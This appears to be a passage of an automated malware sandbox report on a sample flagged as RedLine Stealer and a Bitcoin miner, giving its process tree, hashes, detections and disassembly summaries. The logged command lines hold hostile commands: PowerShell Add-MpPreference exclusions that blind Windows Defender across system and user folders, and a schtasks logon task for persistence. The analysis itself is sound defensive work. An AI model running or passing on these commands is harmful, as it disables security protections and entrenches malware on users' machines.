Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000003.648277065.00000000035E0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.716260926.0000000000402000.00000040.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: fl.exe PID: 1476 Parent PID: 6764

General

Start time:	18:13:38
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Local\Temp\fl.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\fl.exe"
Imagebase:	0x1d0000
File size:	4305408 bytes
MD5 hash:	BF232E7CD2DE9652142313A13FE16E69
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 60%, Virustotal, Browse Detection: 26%, Metadefender, Browse Detection: 71%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 1372 Parent PID: 1476

General

Start time:	18:13:51
Start date:	28/12/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Imagebase:	0x7ff622070000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6856 Parent PID: 1372

General

Start time:	18:13:51
Start date:	28/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: powershell.exe PID: 6932 Parent PID: 1372

General

Start time:	18:13:52
Start date:	28/12/2021
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Imagebase:	0x7ff7bedd0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 5304 Parent PID: 1476

General

Start time:	18:13:53
Start date:	28/12/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe
Imagebase:	0x7ff622070000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 5696 Parent PID: 5304

General

Start time:	18:13:54
Start date:	28/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: schtasks.exe PID: 5780 Parent PID: 5304

General

Start time:	18:13:54
Start date:	28/12/2021
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
Imagebase:	0x7ff716f20000
File size:	226816 bytes
MD5 hash:	838D346D1D28F00783B7A6C6BD03A0DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: services32.exe PID: 5948 Parent PID: 968

General

Start time:	18:13:56
Start date:	28/12/2021
Path:	C:\Windows\System32\services32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\services32.exe
Imagebase:	0x2b0000
File size:	4305408 bytes
MD5 hash:	BF232E7CD2DE9652142313A13FE16E69
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_bitcoinminer, Description: Yara detected BitCoin Miner, Source: 0000000F.00000002.829079660.0000000003E1A000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 26%, Metadefender, Browse Detection: 71%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 6484 Parent PID: 1476

General

Start time:	18:13:57
Start date:	28/12/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd" cmd /c "C:\Windows\system32\services32.exe
Imagebase:	0x7ff622070000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6664 Parent PID: 6484

General

Start time:	18:13:58
Start date:	28/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: services32.exe PID: 6972 Parent PID: 6484

General

Start time:	18:13:59
Start date:	28/12/2021
Path:	C:\Windows\System32\services32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\services32.exe
Imagebase:	0x4b0000
File size:	4305408 bytes
MD5 hash:	BF232E7CD2DE9652142313A13FE16E69
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_bitcoinminer, Description: Yara detected BitCoin Miner, Source: 00000013.00000002.815233218.0000000003E6A000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: powershell.exe PID: 3496 Parent PID: 1372

General

Start time:	18:14:00
Start date:	28/12/2021
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
Imagebase:	0x7ff7bedd0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 2128 Parent PID: 6972

General

Start time:	18:14:14
Start date:	28/12/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Imagebase:	0x7ff622070000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 4788 Parent PID: 2128

General

Start time:	18:14:15
Start date:	28/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: powershell.exe PID: 1572 Parent PID: 2128

General

Start time:	18:14:16
Start date:	28/12/2021
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Imagebase:	0x7ff7bedd0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: cmd.exe PID: 4812 Parent PID: 5948

General

Start time:	18:14:20
Start date:	28/12/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Imagebase:	0x7ff622070000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sihost32.exe PID: 6688 Parent PID: 6972

General

Start time:	18:14:20
Start date:	28/12/2021
Path:	C:\Windows\System32\Microsoft\Telemetry\sihost32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\Microsoft\Telemetry\sihost32.exe"
Imagebase:	0x4a0000
File size:	9216 bytes
MD5 hash:	7E00AE5CF06B98B3D7494EE13532D651
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_bitcoinminer, Description: Yara detected BitCoin Miner, Source: 0000001D.00000003.868890764.0000000003DD6000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_bitcoinminer, Description: Yara detected BitCoin Miner, Source: 0000001D.00000002.913279029.0000000003711000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 31%, Metadefender, Browse Detection: 75%, ReversingLabs

Chronological Activities

Analysis Process: conhost.exe PID: 4804 Parent PID: 4812

General

Start time:	18:14:21
Start date:	28/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff732050000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: powershell.exe PID: 2480 Parent PID: 4812

General

Start time:	18:14:22
Start date:	28/12/2021
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Imagebase:	0x7ff7bedd0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: powershell.exe PID: 1848 Parent PID: 2128

General

Start time:	18:14:24
Start date:	28/12/2021
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
Imagebase:	0x7ff7bedd0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: powershell.exe PID: 5148 Parent PID: 4812

General

Start time:	18:14:35
Start date:	28/12/2021
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
Imagebase:	0x7ff7bedd0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: YfTokH7RIj.exe PID: 6764 Parent PID: 5464 YfTokH7RIj.exeCOMMON

Executed Functions

Function 00D54CB8, Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 151registrystringlibraryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?,00000105), ref: 00D54CF2
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F003F,?,80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?,00000105), ref: 00D54D10
RegQueryValueExA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000005,00000000,00D54D84,?,80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?), ref: 00D54D4A
RegQueryValueExA.ADVAPI32(?,00D54EB0,00000000,00000000,00000000,00000005,?,00000000,00000000,00000000,00000000,00000005,00000000,00D54D84,?,80000001), ref: 00D54D68
RegCloseKey.ADVAPI32(?,00D54D8B,00000000,00000000,00000005,00000000,00D54D84,?,80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?,00000105), ref: 00D54D7E
lstrcpy.KERNEL32(?,?), ref: 00D54D96
lstrlen.KERNEL32(00000000), ref: 00D54DD4
lstrcpy.KERNEL32(00000000,00000000), ref: 00D54E0B
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000), ref: 00D54E1B
lstrcpy.KERNEL32(00000000,00000000), ref: 00D54E31
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 00D54E41
lstrcpy.KERNEL32(00000000,00000000), ref: 00D54E55
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 00D54E65

Strings

Software\Borland\Locales, xrefs: 00D54CE8
Software\Borland\Delphi\Locales, xrefs: 00D54D06
., xrefs: 00D54DE6

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: lstrcpy$LibraryLoad$OpenQueryValue$Closelstrlen
String ID: .$Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 3871718695-3917250287
Opcode ID: c41478d6e89ddcaccee703db1dd5d5cd4077a7cf549186ea84b5380bf849848b
Instruction ID: 7add1dc38b636df4671afc3c8f4fb6bf06313b483f54c923cd1685c27121b906
Opcode Fuzzy Hash: c41478d6e89ddcaccee703db1dd5d5cd4077a7cf549186ea84b5380bf849848b
Instruction Fuzzy Hash: 29414C75A4071C7AEF21D6E49C47FEE76BC9B04749F4400A2BF04E6182DA749E8C8BB1

Uniqueness

Uniqueness Score: -1.00%

Function 00DACE3E, Relevance: 13.6, APIs: 2, Strings: 6, Instructions: 1551memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00000546,00001000,00000004), ref: 00DAE0C4
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00DAE0FB

Strings

8P8\, xrefs: 00DACE44
P=T=, xrefs: 00DAD00B
h=l=, xrefs: 00DAD016
D=H=, xrefs: 00DAD005
\=`=, xrefs: 00DAD011
D)D, xrefs: 00DAE04D

Memory Dump Source

Source File: 00000000.00000002.722404263.0000000000DAA000.00000040.00000001.sdmp, Offset: 00DAA000, based on PE: false

Similarity

API ID: Virtual$AllocFree
String ID: 8P8\$D)D$D=H=$P=T=$\=`=$h=l=
API String ID: 2087232378-1211461153
Opcode ID: a4eab1f825e456acd46613581a80fb6fc65f0e0528eb9ca547066dedfff47d39
Instruction ID: 27856b71e9bc4d3ddc5615006b4bbd63587ba03d9c3085c8c1388b84c9e09560
Opcode Fuzzy Hash: a4eab1f825e456acd46613581a80fb6fc65f0e0528eb9ca547066dedfff47d39
Instruction Fuzzy Hash: CB027A205487C96EEF72AF7849C63CB7BE2AB073047D515AAC8C18B816C62095C7E797

Uniqueness

Uniqueness Score: -1.00%

Function 05CCEC28, Relevance: .4, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.730490883.0000000005CC0000.00000040.00000001.sdmp, Offset: 05CC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c20c74c8466a9db52b0ff5f74d38962722f50d5f8692c8c999cb85e0f499d6e
Instruction ID: c446f4ef9c2a489d8528ae4705b98a7c0a0b17029fbb59a08de4207c0969be30
Opcode Fuzzy Hash: 2c20c74c8466a9db52b0ff5f74d38962722f50d5f8692c8c999cb85e0f499d6e
Instruction Fuzzy Hash: 0BD1BF34B002159FDB14DB79D854AAE7BFBEF89300B1584A9E906CB391EB31DD05CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D575E8, Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ecf945b71f54a3124df47cedfe2b4815bd81d27520891cf9e0f0ea53d9edb37
Instruction ID: e51c2d76e0c50f092ea4ab2f3c5e289bbc22efe5fcbed4dcc14f5513a023b88f
Opcode Fuzzy Hash: 4ecf945b71f54a3124df47cedfe2b4815bd81d27520891cf9e0f0ea53d9edb37
Instruction Fuzzy Hash: 42F01871D0120CA6CF60EAE8DC85ACEB3AC9F05325F500791BD19D31D1EA34DB184771

Uniqueness

Uniqueness Score: -1.00%

Function 00D86848, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 89COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00D86893
GetProcessAffinityMask.KERNEL32(00000000,?,?,kernel32.dll), ref: 00D868C6

Strings

kernel32.dll, xrefs: 00D8688E
99, xrefs: 00D868AC

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: AffinityHandleMaskModuleProcess
String ID: 99$kernel32.dll
API String ID: 410226061-4043654467
Opcode ID: c18bc35ed8826ae371ca2620070d3fa4f988db21338ccbc5f7d3cdd3899a3ab3
Instruction ID: bd9c57ab1f20d89518f25c56479973cfa73d5fbbcd378317fd9c039100c29744
Opcode Fuzzy Hash: c18bc35ed8826ae371ca2620070d3fa4f988db21338ccbc5f7d3cdd3899a3ab3
Instruction Fuzzy Hash: B2219172A006155BCB10FBBD98426997BA5AF05370F190761EC74D73C2EA31DD488BB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D5AFA4, Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32 ref: 00D5AFCB
GetSystemMetrics.USER32(0000004A), ref: 00D5AFF2
GetSystemMetrics.USER32(0000002A), ref: 00D5B001
GetCPInfo.KERNEL32(00000000,?,0000002A,0000004A), ref: 00D5B015

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: MetricsSystem$InfoLocaleThread
String ID:
API String ID: 1011932403-0
Opcode ID: db837af557886e13f44411957065011d7e3eee228643f880908085c47bbe5191
Instruction ID: 55ffb85c26d4c8e49ecd85795a1ad3da3f7c3e0c94c04cc84290d3b102bc2faa
Opcode Fuzzy Hash: db837af557886e13f44411957065011d7e3eee228643f880908085c47bbe5191
Instruction Fuzzy Hash: A111270168578649CF207BB898012BBBBD4CF13322F4D8479ECE9476C2E721D909A376

Uniqueness

Uniqueness Score: -1.00%

Function 00DAE10F, Relevance: 5.0, APIs: 3, Instructions: 503memorylibraryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 00DAE343
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00DAE3DF
LoadLibraryA.KERNEL32(?), ref: 00DAE4B1

Memory Dump Source

Source File: 00000000.00000002.722404263.0000000000DAA000.00000040.00000001.sdmp, Offset: 00DAA000, based on PE: false

Similarity

API ID: Virtual$AllocFreeLibraryLoad
String ID:
API String ID: 2147011437-0
Opcode ID: 952ea24d040bcb087386692d9e643e7bd8d1fc0e70184ffbdbdda0da0bd8faed
Instruction ID: 23ce13396e7d69b3c92a130a9ecc042aa4ae09877735a00b327a804209ddd50d
Opcode Fuzzy Hash: 952ea24d040bcb087386692d9e643e7bd8d1fc0e70184ffbdbdda0da0bd8faed
Instruction Fuzzy Hash: 0FB1F672604385DFDF21CF64CC84AA937E8FF5A715F580129ED899B241D3B0AB41CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 05CC84D8, Relevance: 3.2, Strings: 1, Instructions: 1977COMMON

Download Yara Rule

Strings

n-gdi-devcaps-l1-1-0, xrefs: 05CC8FC2

Memory Dump Source

Source File: 00000000.00000002.730490883.0000000005CC0000.00000040.00000001.sdmp, Offset: 05CC0000, based on PE: false

Similarity

API ID:
String ID: n-gdi-devcaps-l1-1-0
API String ID: 0-3939870740
Opcode ID: ddd90285308f381b0df8cb2804de26a1ff93ccee78d5c7aef62eb6b10c0dfe25
Instruction ID: 16062bfd82a9d0adcb52f2856a4bfb4b0c0a203db520fe2a6492b9aa68ec161b
Opcode Fuzzy Hash: ddd90285308f381b0df8cb2804de26a1ff93ccee78d5c7aef62eb6b10c0dfe25
Instruction Fuzzy Hash: 53130EB4905204DFCF2A9B61D4509D9B732FF9930AB20C5AADE153AF608B3B8D52DF11

Uniqueness

Uniqueness Score: -1.00%

Function 05CC84E8, Relevance: 3.2, Strings: 1, Instructions: 1973COMMON

Download Yara Rule

Strings

n-gdi-devcaps-l1-1-0, xrefs: 05CC8FC2

Memory Dump Source

Source File: 00000000.00000002.730490883.0000000005CC0000.00000040.00000001.sdmp, Offset: 05CC0000, based on PE: false

Similarity

API ID:
String ID: n-gdi-devcaps-l1-1-0
API String ID: 0-3939870740
Opcode ID: e0d037a3193eaa62a8851f79a5811a306b57d2755079cc3b0502b83906fee2b3
Instruction ID: 5621ac9a5650421638f9fcb084a5c3cf6efe07a10933399e4f819c1cec2c0999
Opcode Fuzzy Hash: e0d037a3193eaa62a8851f79a5811a306b57d2755079cc3b0502b83906fee2b3
Instruction Fuzzy Hash: 86130EB4905204DFCB2A9B61D4509D9B732FF9930AB20C5AADE153AF60CB3B8D52DF11

Uniqueness

Uniqueness Score: -1.00%

Function 00D51FD8, Relevance: 3.1, APIs: 2, Instructions: 122COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(00D98430), ref: 00D5201B

Part of subcall function 00D51904: LocalAlloc.KERNEL32(00000000,00000FF8,00D98430,00D98430,00000000,00D519BA), ref: 00D51957
Part of subcall function 00D51904: RtlLeaveCriticalSection.NTDLL(00D98430), ref: 00D519B4

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: CriticalSection$AllocEnterLeaveLocal
String ID:
API String ID: 716609888-0
Opcode ID: 5791429fa63168db9179fe2f833fad9f9236a2b18e9e4836d384135f74d40a89
Instruction ID: 548d9054a8499c322d02befac4d53ac32ba82456924910fcde839eca3b05512a
Opcode Fuzzy Hash: 5791429fa63168db9179fe2f833fad9f9236a2b18e9e4836d384135f74d40a89
Instruction Fuzzy Hash: 1841D3B2A047069FDF14CF68EC8162A77A2FB5A716B19817ADC45C33A1DB30984DDB30

Uniqueness

Uniqueness Score: -1.00%

Function 00D51904, Relevance: 3.0, APIs: 2, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000000,00000FF8,00D98430,00D98430,00000000,00D519BA), ref: 00D51957
RtlLeaveCriticalSection.NTDLL(00D98430), ref: 00D519B4

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: AllocCriticalLeaveLocalSection
String ID:
API String ID: 1361736381-0
Opcode ID: 09668f911ab774a6499e38d9518ce3de6aeccd1fa623f22b259023b7d47fd738
Instruction ID: 239849a2852fab7a72080f8cf43840881908961c0dfd3ce828819b33e5cff2dc
Opcode Fuzzy Hash: 09668f911ab774a6499e38d9518ce3de6aeccd1fa623f22b259023b7d47fd738
Instruction Fuzzy Hash: DF01C0786883025EDF11ABA898127193A82DB07F0AF498126ED50CB7D1CE74488CAF36

Uniqueness

Uniqueness Score: -1.00%

Function 00D5141C, Relevance: 2.5, APIs: 2, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000001,?,?,?,00D51725), ref: 00D5144B
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,00D51725), ref: 00D51472

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 78064f670786c1880a09bfb1ce8e188f0561443c4084e1d5d3b415700aeb7a95
Instruction ID: 81848fd7df08e00027adc0a867f8f0f6de57d6275bb03334adc09db64b2c48b1
Opcode Fuzzy Hash: 78064f670786c1880a09bfb1ce8e188f0561443c4084e1d5d3b415700aeb7a95
Instruction Fuzzy Hash: 92F0277AB0162017DF209AA94CC2B526594DF86BD2F194170FE4CEF3C9D6A18C0A43B5

Uniqueness

Uniqueness Score: -1.00%

Function 05CC04C8, Relevance: 1.6, Strings: 1, Instructions: 377COMMON

Download Yara Rule

Strings

{(h^, xrefs: 05CC0531

Memory Dump Source

Source File: 00000000.00000002.730490883.0000000005CC0000.00000040.00000001.sdmp, Offset: 05CC0000, based on PE: false

Similarity

API ID:
String ID: {(h^
API String ID: 0-2618711216
Opcode ID: 5c6839581658cfddb52d1b1325f5ed11b6df570a361205faf80092a8034353b6
Instruction ID: 583188b713e7688138e2d1a3a2d25ff55bb7ff8aa19e01bba2b3c19dfe0b9609
Opcode Fuzzy Hash: 5c6839581658cfddb52d1b1325f5ed11b6df570a361205faf80092a8034353b6
Instruction Fuzzy Hash: ACE13832600215DFCB169FA1C904EAD7BB2FF89314F0585A8E60AAF271DB31D955EF81

Uniqueness

Uniqueness Score: -1.00%

Function 05CC04A0, Relevance: 1.6, Strings: 1, Instructions: 367COMMON

Download Yara Rule

Strings

{(h^, xrefs: 05CC0531

Memory Dump Source

Source File: 00000000.00000002.730490883.0000000005CC0000.00000040.00000001.sdmp, Offset: 05CC0000, based on PE: false

Similarity

API ID:
String ID: {(h^
API String ID: 0-2618711216
Opcode ID: 27af23181b826b781f6b6d8856ae19dd006654c859dc74fa3336d44a3c9e4b17
Instruction ID: 75102f7a5065bf81d60722a71565a7e4df1f1376a898d76e581ac72783f29a52
Opcode Fuzzy Hash: 27af23181b826b781f6b6d8856ae19dd006654c859dc74fa3336d44a3c9e4b17
Instruction Fuzzy Hash: 07D15D32600215DFCB169FA1C904EA97BB2FF89310F0685E8E60AAF271DB31D955EF40

Uniqueness

Uniqueness Score: -1.00%

Function 05CCE398, Relevance: 1.6, Strings: 1, Instructions: 347COMMON

Download Yara Rule

Strings

,~jk, xrefs: 05CCE85C

Memory Dump Source

Source File: 00000000.00000002.730490883.0000000005CC0000.00000040.00000001.sdmp, Offset: 05CC0000, based on PE: false

Similarity

API ID:
String ID: ,~jk
API String ID: 0-3502092605
Opcode ID: 20404fe4b522807dcca2da826923139a7c80a4bb36a5a4a2f617359a1976990d
Instruction ID: 99e20524368e32a716050e8c981de348617c951c29f9ee464ba3e27b7f7f87ab
Opcode Fuzzy Hash: 20404fe4b522807dcca2da826923139a7c80a4bb36a5a4a2f617359a1976990d
Instruction Fuzzy Hash: CCE15C34A00209DFCB15DF65D494AAEBBB6FF88314F158868E5069B3A5DB30ED49CF90

Uniqueness

Uniqueness Score: -1.00%

Function 05CC5BA8, Relevance: 1.5, Strings: 1, Instructions: 203COMMON

Download Yara Rule

Strings

n-core-largeinteger-l1-1-0, xrefs: 05CC5E0C

Memory Dump Source

Source File: 00000000.00000002.730490883.0000000005CC0000.00000040.00000001.sdmp, Offset: 05CC0000, based on PE: false

Similarity

API ID:
String ID: n-core-largeinteger-l1-1-0
API String ID: 0-2605493610
Opcode ID: a58bdc788bd86956aa9c0cea3c90dfd7443bc529338dfe8ea12815ed72790142
Instruction ID: a914f28f9e403f7c6f9c01337df4ee29400017da1c0025faaa888883c3f5aa44
Opcode Fuzzy Hash: a58bdc788bd86956aa9c0cea3c90dfd7443bc529338dfe8ea12815ed72790142
Instruction Fuzzy Hash: DE611231B101158FDF18ABB9A4546BE3BBBEBC9355B11C469E502CB384DF399D028BE1

Uniqueness

Uniqueness Score: -1.00%

Function 00D514F8, Relevance: 1.3, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(FFFFFFFF,00000000,00008000), ref: 00D5155C

Memory Dump Source

